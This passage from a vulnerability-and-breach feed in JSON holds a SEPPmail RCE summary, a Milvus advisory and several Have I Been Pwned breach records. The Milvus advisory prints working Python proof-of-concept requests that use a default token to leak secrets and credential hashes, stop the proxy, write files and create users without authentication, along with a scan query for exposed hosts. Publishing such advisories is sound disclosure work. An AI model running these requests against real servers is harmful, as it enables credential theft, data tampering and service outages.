version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a parameter to Perl's eval.","detail":"SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a parameter to Perl's eval.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T14:16:45.870Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44128","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44128","type":"primary","publishedAt":"2026-05-08T14:16:45.870Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26190","cveId":"CVE-2026-26190","aliases":["GHSA-7ppg-37fh-vcr6"],"kind":"vulnerability","title":"Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise","summary":"Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.","detail":"## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 — `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http:// :9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"rootcoord.meta.GetCredential(ctx, 'root')\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service — stop the proxy\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n 'param.Save(\"proxy.accessLog.localPath\", \"/tmp\")',\n 'param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")',\n 'param.Save(\"proxy.accessLog.filename\", \"evil.sh\")',\n 'querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")'\n]:\n requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 — Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http:// :9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n \"username\": \"attacker_user\",\n \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}\n\n# Create and delete collections, insert data — all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" && port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).\n\nAffected package ranges reported by GitHub:\ngithub.com/milvus-io/milvus: < 2.5.27\ngithub.com/milvus-io/milvus: >= 2.6.0, < 2.6.10","action":"GitHub lists first patched versions: github.com/milvus-io/milvus: 2.5.27; github.com/milvus-io/milvus: 2.6.10. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-02-11T19:49:44.000Z","updatedAt":"2026-10-22T18:19:50.000Z","regions":["Global"],"vendor":null,"product":"github.com/milvus-io/milvus, github.com/milvus-io/milvus","stacks":["Go modules","github.com/milvus-io/milvus","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","asOf":"2026-10-22T18:19:50.000Z"},"epss":{"probability":0.39255,"percentile":0.98592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7ppg-37fh-vcr6","url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","type":"primary","publishedAt":"2026-02-11T19:49:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-26190, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"hibp-manchesterairportsgroup","cveId":null,"aliases":["ManchesterAirportsGroup"],"kind":"breach","title":"Manchester Airports Group breach: 8,849,657 accounts exposed","summary":"In August 2026, Manchester Airports Group (MAG) disclosed a data breach impacting their services . The incident was later claimed by the FulcrumSec hacking group , who subsequently published email addresses and phone numbers relating to 8.8M customers of Manchester, Stansted and East Midlands airports. The data contained personal information relating to airport services, including vehicle registrations and parking history, Fast Track purchases and lounge bookings. In their disclosure notice , MAG advised that \"at no point has passenger safety or aviation security been compromised\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-27; loaded 2026-09-02. Exposed data: Browser user agent details, Email addresses, Geographic locations, IP addresses, Names, Phone numbers, Purchases, Vehicle registration plates. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-09-02T07:36:59.000Z","updatedAt":"2026-09-02T23:59:05.000Z","regions":["Global"],"vendor":"magairports.com","product":null,"stacks":["Magairports.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Manchester Airports Group","url":"https://haveibeenpwned.com/Breach/ManchesterAirportsGroup","type":"primary","publishedAt":"2026-09-02T07:36:59.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Manchester Airports Group disclosure","url":"https://mediacentre.magairports.com/mag-statement-on-cyber-security-incident/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-fanlore","cveId":null,"aliases":["Fanlore"],"kind":"breach","title":"Fanlore breach: 144,520 accounts exposed","summary":"In August 2026, the Organization for Transformative Works (OTW) identified unauthorised access to the Fanlore wiki it operates . The breach resulted in the exposure of 145k unique email addresses along with usernames and passwords stored as either MD5 or PBKDF2 hashes. OTW self-submitted the exposed data to HIBP.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-06; loaded 2026-08-19. Exposed data: Email addresses, Names, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-19T02:09:16.000Z","updatedAt":"2026-08-19T02:09:16.000Z","regions":["Global"],"vendor":"fanlore.org","product":null,"stacks":["Fanlore.org"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Fanlore","url":"https://haveibeenpwned.com/Breach/Fanlore","type":"primary","publishedAt":"2026-08-19T02:09:16.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Fanlore disclosure","url":"https://www.transformativeworks.org/fanlore-security-incident/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-ringcentral","cveId":null,"aliases":["RingCentral"],"kind":"breach","title":"RingCentral breach: 1,596,490 accounts exposed","summary":"In July 2026, the cloud-based business communications platform RingCentral was the target of a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data they claimed was obtained from the platform, which included 1.6M unique email addresses along with names, physical addresses and phone numbers. In their disclosure notice , RingCentral advised that the incident affected \"a limited portion of RingCentral customers\" and that it was communicating directly with those affected.","detail":"Verified by Have I Been Pwned. Breach date: 2026-07-27; loaded 2026-08-13. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-13T10:54:40.000Z","updatedAt":"2026-10-08T21:55:00.000Z","regions":["Global"],"vendor":"ringcentral.com","product":null,"stacks":["Ringcentral.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: RingCentral","url":"https://haveibeenpwned.com/Breach/RingCentral","type":"primary","publishedAt":"2026-08-13T10:54:40.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"RingCentral disclosure","url":"https://www.ringcentral.com/trust-center/security-bulletin.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-brinkshome","cveId":null,"aliases":["BrinksHome"],"kind":"breach","title":"Brinks Home breach: 732,162 accounts exposed","summary":"In July 2026, Brinks Home was targeted in a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data they alleged was taken from the company, including 732k unique email addresses and other personal information relating to leads, customers and Brinks staff such as name, phone numbers and physical addresses. The data also included purchases from Brinks along with partial credit card data (last 4 digits, card type and expiry). In Brinks' disclosure notice , they acknowledged the incident and risk of disclosure, and advised that they would notify impacted parties \"consistent with applicable law\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-07-13; loaded 2026-08-08. Exposed data: Dates of birth, Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-08-08T10:44:52.000Z","updatedAt":"2026-08-08T10:44:52.000Z","regions":["Global"],"vendor":"brinkshome.com","product":null,"stacks":["Brinkshome.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Brinks Home","url":"https://haveibeenpwned.com/Breach/BrinksHome","type":"primary","publishedAt":"2026-08-08T10:44:52.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Brinks Home disclosure","url":"https://brinkshome.com/cybersecurity-update","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-glendalecommunitycollege","cveId":null,"aliases":["GlendaleCommunityCollege"],"kind":"breach","title":"Glendale Community College breach: 793,925 accounts exposed","summary":"In June 2026, Glendale Community College was the target of a ShinyHunters \"pay or leak\" extortion campaign . Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice , the college advised that \"the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-07-11. Exposed data: Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-07-11T10:40:09.000Z","updatedAt":"2026-07-11T10:40:09.000Z","regions":["Global"],"vendor":"glendale.edu","product":null,"stacks":["Glendale.edu"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Glendale Community College","url":"https://haveibeenpwned.com/Breach/GlendaleCommunityCollege","type":"primary","publishedAt":"2026-07-11T10:40:09.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Glendale Community College disclosure","url":"https://glendale.edu/about-gcc/communications/update/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-moodybibleinstitute","cveId":null,"aliases":["MoodyBibleInstitute"],"kind":"breach","title":"Moody Bible Institute breach: 2,303,416 accounts exposed","summary":"In June 2026, Moody Bible Institute was targeted by a ShinyHunters \"pay or leak\" extortion campaign . Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice , Moody advised that they had \"engaged both internal and external cybersecurity experts to thoroughly investigate the matter\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-07-03. Exposed data: Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-07-03T16:03:25.000Z","updatedAt":"2026-07-03T16:03:25.000Z","regions":["Global"],"vendor":"moody.edu","product":null,"stacks":["Moody.edu"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Moody Bible Institute","url":"https://haveibeenpwned.com/Breach/MoodyBibleInstitute","type":"primary","publishedAt":"2026-07-03T16:03:25.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Moody Bible Institute disclosure","url":"https://www.moodybible.org/news/2026/data-investigation/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-dentaquest","cveId":null,"aliases":["DentaQuest"],"kind":"breach","title":"DentaQuest breach: 2,553,599 accounts exposed","summary":"In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters \"pay or leak\" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files ( ASC X12 transaction sets ) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged \"a cybersecurity incident involving unauthorized access to a limited portion of our network\" , and advised they had contained the attack and mitigated the threat.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-23; loaded 2026-06-03. Exposed data: Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-03T22:56:30.000Z","updatedAt":"2026-06-03T23:02:26.000Z","regions":["Global"],"vendor":"dentaquest.com","product":null,"stacks":["Dentaquest.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: DentaQuest","url":"https://haveibeenpwned.com/Breach/DentaQuest","type":"primary","publishedAt":"2026-06-03T22:56:30.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"DentaQuest disclosure","url":"https://dentaquest.com/en/security-update-0526","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-windows93","cveId":null,"aliases":["Windows93"],"kind":"breach","title":"Windows93 / Myspace93 breach: 46,105 accounts exposed","summary":"In January 2021, the parody site Windows93 suffered a data breach of the Myspace93 sub-site after a beta application was exploited to download server files. The compromised data was later leaked in June and included 46k Myspace93 accounts containing email and IP addresses, usernames and passwords stored in plain text.","detail":"Verified by Have I Been Pwned. Breach date: 2021-01-01; loaded 2026-05-21. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-21T03:45:15.000Z","updatedAt":"2026-05-21T03:45:15.000Z","regions":["Global"],"vendor":"windows93.net","product":null,"stacks":["Windows93.net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Windows93 / Myspace93","url":"https://haveibeenpwned.com/Breach/Windows93","type":"primary","publishedAt":"2026-05-21T03:45:15.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Windows93 / Myspace93 disclosure","url":"https://web.archive.org/web/20210704163048/https://www.windows93.net/dearCommunity.txt","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-canadalife","cveId":null,"aliases":["CanadaLife"],"kind":"breach","title":"Canada Life breach: 237,810 accounts exposed","summary":"In April 2026, Canada Life was the victim of a \"pay or leak\" extortion campaign by the ShinyHunters group . The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice , Canada Life advised that \"it is a small proportion of our customers who may have been impacted\". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks , a pattern often seen after the public release of breached data.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-05-13. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical 